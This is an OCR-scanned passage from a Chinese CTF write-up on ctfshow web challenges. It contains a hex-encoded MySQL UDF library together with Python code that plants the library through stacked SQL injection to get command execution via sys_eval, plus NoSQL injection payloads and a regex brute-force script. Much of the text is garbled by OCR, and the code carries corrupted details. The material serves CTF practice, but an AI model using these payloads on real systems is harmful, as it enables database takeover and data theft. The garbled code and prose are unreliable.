©474C4942435F322E322E350070636C6F73654040474C4942435F322E322E35006C69625F6D7973716C7564665F7379735F696E666F5F696
E6974005F5F6378615F66696E616C697A654040474C4942435F322E322E35007379735F7365745F6465696E6974007379735F6765745F696)
E6974007379735F6765745F6465696E6974006D656D6370794040474C4942435F322E322E35007379735F6576616C5F696E6974007365746)
S56E764040474CA4942435F322E322E3500676574656E764040474C4942435F322E322E35007379735F676574005F5F6273735F73746172749
©6C69625F6D7973716C7564665F7379735F696E666FO05F656E64007374726E6370794040474C4942435F322E322E35007379735F6578656
35F6465696E6974007265616C6C6F634040474C4942435F322E322E35005F656461746100706F70656E4040474C4942435F322E322E35005
F696E697400"

for i in range(0,21510, 5000):

end = 1 + 5000
payload.append(udf[i:end])

p = dict(zip(text, payload))

for t in text:

url = base_url+"?id=";select unhex('{}') into dumpfile '/usr/lib/mariadb/plugin/{}.txt"'--+&page=1&1limit=10".
format(p[t], t)

r = requests.get(url)

print(r.status_code)

next_url = base_url+"?id=";select concat(load_file('/usr/lib/mariadb/plugin/a.txt"'),load_file("'/usr/lib/mariadb/
plugin/b.txt'),load_file('/usr/lib/mariadb/plugin/c.txt"'),load_file('/usr/lib/mariadb/plugin/d.txt"'),load_file("
/usr/lib/mariadb/plugin/e.txt"')) into dumpfile '/usr/lib/mariadb/plugin/udf.so'--+&page=1&1limit=10"

rn = requests.get(next_url)

uaf_url=base_url+"?id=';CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.so';--+"#S Audfig#
r=requests.get(uaf_url)

nn_url = base_url+"?id=";select sys_eval('cat /flag.*');--+&page=1&1imit=10"

rnn = requests.get(nn_url)

print(rnn.text)

NosqliE A
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http://rui0.cn/archives/609

(PECL memcache >=0.2.0)
Memcache:get — MRS ImIGEI— Nt

16H

Memcache: :get ( string $key , int &§%flags = ? ) : string

Memcache: :get ( array $keys , array §%$flags = ? ) : array

MRIRS IR ZAIBLAkey{EkeyF#ERITTER, Memcache:get()J5iALLRNREIZ BIfFEHYE.

{ReJLAEMemcache:get() 75 EEE—PMEUE (S key) SREL—MEUAERITTEE, RERVHAENNEEMN BRSiHE
#HEIAkey-valuerd,

B y4 I8 X R 5 s idod 98 T S, WREA Mintval R B, B LIX B E A A ST
payload:

?id[ ]=flag

web 250(F H7EN)

$query = new MongoDB\Driver\Query($data);

$cursor = $manager->executeQuery('ctfshow.ctfshow user', $query)->toArray();
/1 TS U8
if(count($cursor)>0){
$ret[ 'msg' |="EMimIh";
array_push($ret['data'], $flag);
}

FAFBRAERF



in

not in
all

or
JRUGHEE(1.3.3% L ERRAR)
ORI # F IEM3: db.customer.find({

& $data = array(“‘username” => array("$ne" => 1), “password” => array("$ne" => 1)); 34T 5iT

payload:

username[$ne]=1&password[$ne]=1

BT LA A IE

username[$regex] password[$regex]

web 251-252(nosql)

TiL P8 nosql FEN .

ks E—R payload, i&[El admin K%, (HRXKXKZEEEESR flag, B array("$ne” => "admin") JEHDALH I
flag.

payload:

username[$ne]=admin&password[$ne]=1

web252

TiL JE ) nosql FEN .
kst E—f payload, X HRAS admint, EREARER admin, 1ENS8HE
payload:

username[$regex]=~["a].*&password[$ne]=1
web253

LR Z BT payload, FFRINMEEAE R EILIE T .
¥ Musername & flag, username[$regex]=flag&password[$ne]=1 BJ PABFRLT, Ffengfifd 4 IE W A6 R B iE %,



Author : feng
Time : 2021-2-14

import requests
url="http://2184e9b4-619a-43dd-b8de-015a6a74fe3d.chall.ctf.show:8080/api/"
flag=""

for i in range(1,100):

for j in "{-abcdefghijklmnopgrstuvwxyz0123456789}"
payload=""{}.*$".format(flag+j)
data={
'username[$regex]':'flag"’,
"password[$regex] ' :payload
¥
r=requests.post(url=url,data=data)
if r"\u767b\u9646\u6210\u529f" in r.text:
flag+=j
print(flag)
if j=="}":
exit()
break

ZsqUEANAETER T sqEMRRITBAT! !
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